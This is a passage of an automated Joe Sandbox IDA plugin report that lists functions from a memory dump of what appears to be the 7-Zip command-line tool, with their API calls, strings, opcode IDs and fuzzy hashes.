free.MSVCRT ref: 00C72E3B
free.MSVCRT ref: 00C72E45
free.MSVCRT ref: 00C72E50
free.MSVCRT ref: 00C72E5E
free.MSVCRT ref: 00C72E87
free.MSVCRT ref: 00C72E90
free.MSVCRT ref: 00C72E9E
free.MSVCRT ref: 00C72EA9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c5174ab1f7993f2eec1200e5e986d705cda821f000588a3ae1e3b292e3927ade
Instruction ID: 09ebfc291badbcdb1680b1577495e80c743d948f38406663ad294951373fa2e7
Opcode Fuzzy Hash: c5174ab1f7993f2eec1200e5e986d705cda821f000588a3ae1e3b292e3927ade
Instruction Fuzzy Hash: 63F0D02224A5D045CA24FF32C45662E6791FFC7F91F457461BB4E63715CE28CC46D604

Function 00C72EDB Relevance: 10.0, APIs: 8, Instructions: 38COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C72EE3
free.MSVCRT ref: 00C72EED
free.MSVCRT ref: 00C72EF8
free.MSVCRT ref: 00C72F06
free.MSVCRT ref: 00C72F2F
free.MSVCRT ref: 00C72F38
free.MSVCRT ref: 00C72F46
free.MSVCRT ref: 00C72F51

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 73516b05c5aded9222374f9846cd335e674db6f98022afe4c7a0822642a89c91
Instruction ID: a5eb030100c05045c8ba5cc605187862c49dd8f5ec0047b8af64e56cfe719c66
Opcode Fuzzy Hash: 73516b05c5aded9222374f9846cd335e674db6f98022afe4c7a0822642a89c91
Instruction Fuzzy Hash: 64F0DA222469D085CA14FF32D462A2F63A0FFC7F91F417461BB4E63711CE28C886D609

Function 00C72F97 Relevance: 10.0, APIs: 8, Instructions: 38COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C72F9F
free.MSVCRT ref: 00C72FA9
free.MSVCRT ref: 00C72FB4
free.MSVCRT ref: 00C72FC2
free.MSVCRT ref: 00C72FEB
free.MSVCRT ref: 00C72FF4
free.MSVCRT ref: 00C73002
free.MSVCRT ref: 00C7300D

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 542bf3f330fecf80eaa0ec81e7d53865c449308f14702187d1a118dc28be755e
Instruction ID: c6eeae88c0b390a04c92538ff9263e13bc1b8008cf64c4cb8f6d2526546746ee
Opcode Fuzzy Hash: 542bf3f330fecf80eaa0ec81e7d53865c449308f14702187d1a118dc28be755e
Instruction Fuzzy Hash: DCF0FE212469D085CA14FF32C46362E63A0FFC7F91F807461BB4E63711CE28CC46D604

Function 00C8B310 Relevance: 10.0, APIs: 8, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

free.MSVCRT ref: 00C8B335
free.MSVCRT ref: 00C8B342
free.MSVCRT ref: 00C8B34E
free.MSVCRT ref: 00C8B358
free.MSVCRT ref: 00C8B362
free.MSVCRT ref: 00C8B36C
free.MSVCRT ref: 00C8B376
free.MSVCRT ref: 00C8B380

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$fputsmemset
String ID:
API String ID: 469995913-0
Opcode ID: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
Instruction ID: ad79be9057057603a117472952ec442d651f17467834ae64fb1abc590e29beea
Opcode Fuzzy Hash: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
Instruction Fuzzy Hash: 77F0A92225198081CB10FF32D8A352D23A1FFC2F78B446261BF6D573AACE24CC82D348

Function 00C66484 Relevance: 9.2, APIs: 6, Instructions: 177COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00C664F9
free.MSVCRT ref: 00C6659C
free.MSVCRT ref: 00C66602
free.MSVCRT ref: 00C6660A
memmove.MSVCRT ref: 00C66627
free.MSVCRT ref: 00C666A6

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmovewcscmp
String ID:
API String ID: 3584677832-0
Opcode ID: 8f07c27319cfa5f95388e6e979af598d2aca2aeda731ef0214d5af31e1e2fbd3
Instruction ID: 1eb629cb549f9a8ff7e053316738bf33a0766fded86be8263486af70e269adc1
Opcode Fuzzy Hash: 8f07c27319cfa5f95388e6e979af598d2aca2aeda731ef0214d5af31e1e2fbd3
Instruction Fuzzy Hash: E351D573201A84C6CF30EF16E4E116D7761F794B98B54812AEBAE4B728DF35DA86D700

Function 00C41364 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 172COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,?,00000000,00C41774,?,?,?,?,?,?,?,FFFFFFFF), ref: 00C41558

Strings

Unknown switch:, xrefs: 00C4142C
Too long switch:, xrefs: 00C4159F
Too short switch:, xrefs: 00C4148A
Multiple instances for switch:, xrefs: 00C4145B
Incorrect switch postfix:, xrefs: 00C414F8, 00C41584

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID: Incorrect switch postfix:$Multiple instances for switch:$Too long switch:$Too short switch:$Unknown switch:
API String ID: 1294909896-2104980125
Opcode ID: e608d69ddf76c65373c44b70f7ae3aeb3f136de1000bdcda8d63e8efa4483270
Instruction ID: c5e652a49b3d87ed27d9eeeb9e53e03793472fa660a8ab99724b2644734f7f51
Opcode Fuzzy Hash: e608d69ddf76c65373c44b70f7ae3aeb3f136de1000bdcda8d63e8efa4483270
Instruction Fuzzy Hash: 6D51F3722146D1A6CF30EF25D4816ED7B61F381394F989221DEEA47756EB38CAC6D700

Function 00C50358 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,?,?,?,?,?,00C5141F), ref: 00C504EE

Part of subcall function 00C4FEC8: _CxxThrowException.MSVCRT ref: 00C4FF2F
Part of subcall function 00C4FEC8: free.MSVCRT ref: 00C4FFAE
Part of subcall function 00C4FEC8: _CxxThrowException.MSVCRT ref: 00C4FFD1
Part of subcall function 00C4FEC8: _CxxThrowException.MSVCRT ref: 00C4FFF7
Part of subcall function 00C4FEC8: _CxxThrowException.MSVCRT ref: 00C5002B

free.MSVCRT(?,?,?,?,?,?,?,?,?,00C5141F), ref: 00C50523
_CxxThrowException.MSVCRT ref: 00C50564

Strings

Too short switch, xrefs: 00C5050C, 00C50515
Incorrect wildcard type marker, xrefs: 00C5052A

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrow$free
String ID: Incorrect wildcard type marker$Too short switch
API String ID: 3129652135-1817034180
Opcode ID: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
Instruction ID: fb8b4c645728878c8899f3a670d115cefaeabcf405390bf12f10b63a3fc3cb3e
Opcode Fuzzy Hash: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
Instruction Fuzzy Hash: C051252B2086C4C5CB20DF16E45179EBB30F785B95FA48116EF8947B55DB38C5CACB08

Function 00C7E2F0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C7E36E
free.MSVCRT ref: 00C7E3C8
free.MSVCRT ref: 00C7E44C

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

free.MSVCRT ref: 00C7E486
free.MSVCRT ref: 00C7E4E4

Strings

#, xrefs: 00C7E494

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID: #
API String ID: 1534225298-1885708031
Opcode ID: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
Instruction ID: 0240f6f85ba63e8a79c53cbc2c08f47c4b9956236e022993d47f33cce9e00fe2
Opcode Fuzzy Hash: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
Instruction Fuzzy Hash: 74516F27314B8482CB60DB66E48079E7765F7C9BA4F588261EBAE43765DF38C949C700

Function 00C82688 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 126stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00C8273A
strlen.MSVCRT ref: 00C82749
memset.MSVCRT ref: 00C82767
strlen.MSVCRT ref: 00C827EB
memset.MSVCRT ref: 00C82811

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Strings

, xrefs: 00C82818

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memsetstrlen$fputs
String ID:
API String ID: 2256168112-2735817509
Opcode ID: ad0d7bef1b919bc72df3f5cae30fb1075d7da1c7e795fc3f1bc43048049e5982
Instruction ID: f8ceee78b89985b0436188c7a7a8bebdc23919de9f8ca14882fe6e0b98b7915d
Opcode Fuzzy Hash: ad0d7bef1b919bc72df3f5cae30fb1075d7da1c7e795fc3f1bc43048049e5982
Instruction Fuzzy Hash: 0D4123733087C095CB34FB25E4553AEABA1F794B88F485526EE8A07719CF78C685CB04

Function 00C49828 Relevance: 9.1, APIs: 6, Instructions: 123COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00C49898
free.MSVCRT ref: 00C499E7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorLastfree
String ID:
API String ID: 2167247754-0
Opcode ID: 20cadcee4a29e65714f589434cd172a3e6a1a379c9859cc67ae3c45b41779d1f
Instruction ID: 1d1d023b45d39a8333cc568fc4e0905cba4e2efae732d3c4b6f980e34812886c
Opcode Fuzzy Hash: 20cadcee4a29e65714f589434cd172a3e6a1a379c9859cc67ae3c45b41779d1f
Instruction Fuzzy Hash: 2341AB2121859046DA30EB15E49176FB361F7E2770F900326EAED87AE9DF38C94AE705

Function 00C46A04 Relevance: 9.1, APIs: 6, Instructions: 74fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32 ref: 00C46A42
MoveFileW.KERNEL32 ref: 00C46AA6
free.MSVCRT ref: 00C46AB6
free.MSVCRT ref: 00C46AC1
free.MSVCRT ref: 00C46ACF
free.MSVCRT ref: 00C46ADA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$FileMove
String ID:
API String ID: 288606353-0
Opcode ID: c934d79802b123a65afdecf3c3c141401825e728ddd7393a0425fdd743619d48
Instruction ID: 9d8b1b7fde3fdc57e232b710008855d31d5f904d71c53a7bf7f59dcbc8161091
Opcode Fuzzy Hash: c934d79802b123a65afdecf3c3c141401825e728ddd7393a0425fdd743619d48
Instruction Fuzzy Hash: 6011BB2324494045DA20EF25E85166F6760FBC3BE0F546221FF7A57369DF29CD86E701

Function 00C47B70 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00C4794C: FindClose.KERNELBASE ref: 00C4795E

SetLastError.KERNEL32 ref: 00C47BAA
SetLastError.KERNEL32 ref: 00C47BB9
FindFirstStreamW.KERNELBASE ref: 00C47BDB
GetLastError.KERNEL32 ref: 00C47BEA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorLast$Find$CloseFirstStream
String ID:
API String ID: 4071060300-0
Opcode ID: a6e64fabe6673e363aad17d05dfc3ab5172c88e9485b2e4bf2568c0b8856aec2
Instruction ID: 08c4b732e931801457b83160575f2d0bc2b392da721f187ca2700be148f899b6
Opcode Fuzzy Hash: a6e64fabe6673e363aad17d05dfc3ab5172c88e9485b2e4bf2568c0b8856aec2
Instruction Fuzzy Hash: DA218322608B4082DB309B25E89576D23A0FBDAB74F545321DEBA477E5DF3CCA49D701

Function 00C8CCF8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C8CD1C
fputs.MSVCRT ref: 00C8CD31
free.MSVCRT ref: 00C8CDDC
free.MSVCRT ref: 00C8CE23

Strings

(Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? , xrefs: 00C8CD2A

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputsfree
String ID: (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit?
API String ID: 2581285248-171671738
Opcode ID: 4b5025059e70d1de0ed5aeed492243599037d1a5b9a8e456c84aaac635c9e110
Instruction ID: ddbe649ce309e2926ab6414e7c4bfd76500885024db933890a2953c036cda310
Opcode Fuzzy Hash: 4b5025059e70d1de0ed5aeed492243599037d1a5b9a8e456c84aaac635c9e110
Instruction Fuzzy Hash: 3A31972220854487EB30BB15D4D53692761E3847ADF880227EB6A076A5DB3CCDA5D729

Function 00C411B8 Relevance: 8.8, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

free.MSVCRT ref: 00C41215
free.MSVCRT ref: 00C4121D
free.MSVCRT ref: 00C412AA
free.MSVCRT ref: 00C412B5
free.MSVCRT ref: 00C412C4
free.MSVCRT ref: 00C412CF
free.MSVCRT ref: 00C412DA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
Instruction ID: fa05907e7f3229923bba689096bad0a16c2d02b8743fac0282d0dbdc91c9247a
Opcode Fuzzy Hash: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
Instruction Fuzzy Hash: 19219A6221558051CE20EF25E85115E6730FBC17E4F945221FF9E877B9DF28CAC6D700

Function 00C864C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

fputs.MSVCRT ref: 00C864EB
fputs.MSVCRT ref: 00C864FB

Part of subcall function 00C86460: fputs.MSVCRT ref: 00C864B3

fputc.MSVCRT ref: 00C86534
fputs.MSVCRT ref: 00C8659B

Strings

Time =, xrefs: 00C864F4

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$fputc
String ID: Time =
API String ID: 1185151155-458291097
Opcode ID: 16a4f377ae2496a292c66f8ada87fd246b35ce43fff94a3fe0e30452b0aef1ee
Instruction ID: bff4ea00068746cea7f6b25d55150e214d971fa7ee0cdfce87aa2efadfe89cd1
Opcode Fuzzy Hash: 16a4f377ae2496a292c66f8ada87fd246b35ce43fff94a3fe0e30452b0aef1ee
Instruction Fuzzy Hash: D521A295340A1585FA08BF1BED9575A5322A789FC8F08E135DE1E077A9DD3CCC56D304

Function 00C7F69C Relevance: 8.8, APIs: 7, Instructions: 66COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C7F6C5
memmove.MSVCRT ref: 00C7F70E
free.MSVCRT ref: 00C7F727
free.MSVCRT ref: 00C7F72F
memmove.MSVCRT ref: 00C7F74B
LeaveCriticalSection.KERNEL32 ref: 00C7F757
_CxxThrowException.MSVCRT ref: 00C7F773

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CriticalSectionfreememmove$EnterExceptionLeaveThrow
String ID:
API String ID: 202075352-0
Opcode ID: c1de02b68f69ecc8d262e9e614d11b3dc807500ecf55debccae22723f41cb44a
Instruction ID: 37fa769b2b1b700bbb5c3856b7858753f3c0cd26fe738a476c0b427e3566e61c
Opcode Fuzzy Hash: c1de02b68f69ecc8d262e9e614d11b3dc807500ecf55debccae22723f41cb44a
Instruction Fuzzy Hash: E121907722069486DB64EF26D88166C7320F741BA9F90532AAE3D076A8DF25C886DB04

Function 00C4ABB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00C4ABD1
GetProcAddress.KERNEL32 ref: 00C4ABE1
GetDiskFreeSpaceW.KERNEL32 ref: 00C4AC32

Strings

kernel32.dll, xrefs: 00C4ABBE
GetDiskFreeSpaceExW, xrefs: 00C4ABD7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AddressDiskFreeHandleModuleProcSpace
String ID: GetDiskFreeSpaceExW$kernel32.dll
API String ID: 1197914913-1127948838
Opcode ID: 91232d8e4c27da98ed619dc657d8975082bad2379c6f63f0bea740be7d830b66
Instruction ID: 417554d1e9c6fc2447500b885e4eca10b359fc845f66d5cb63411498c5c1621f
Opcode Fuzzy Hash: 91232d8e4c27da98ed619dc657d8975082bad2379c6f63f0bea740be7d830b66
Instruction Fuzzy Hash: E8118933216B4696EB51CF55F480B9AB364F794B80F449022EB9E03728EF38C559CB00

Function 00C6D078 Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C6D0AB
free.MSVCRT ref: 00C6D0B8
free.MSVCRT ref: 00C6D0EB
free.MSVCRT ref: 00C6D0F3
free.MSVCRT ref: 00C6D103
free.MSVCRT ref: 00C6D10D
free.MSVCRT ref: 00C6D117

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction ID: 4a25b38b158b739e6612c1fa3cca01d85a258fc24ae3578554293022022ea7bf
Opcode Fuzzy Hash: e14598800cbc14b63090d73ae88cee87996ce6beccad5b2fb40a6b4c20696fd9
Instruction Fuzzy Hash: 2611002370298485CB21AF36D85266D2360FB86FB8F585271AF6E57795CE24CC86D314

Function 00C694A8 Relevance: 8.8, APIs: 7, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C694DB
free.MSVCRT ref: 00C694E3
free.MSVCRT ref: 00C694F0
free.MSVCRT ref: 00C6951C
free.MSVCRT ref: 00C69525
free.MSVCRT ref: 00C6952D
free.MSVCRT ref: 00C6953A

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5256221f962b44b0bae35b382dbe45db83359140e8ddd7a193f45a58e1d598c8
Instruction ID: 43e75bcd924fb717e70b0cf69d71124821e4c5dc36ded07df3a0b51d9a08d42c
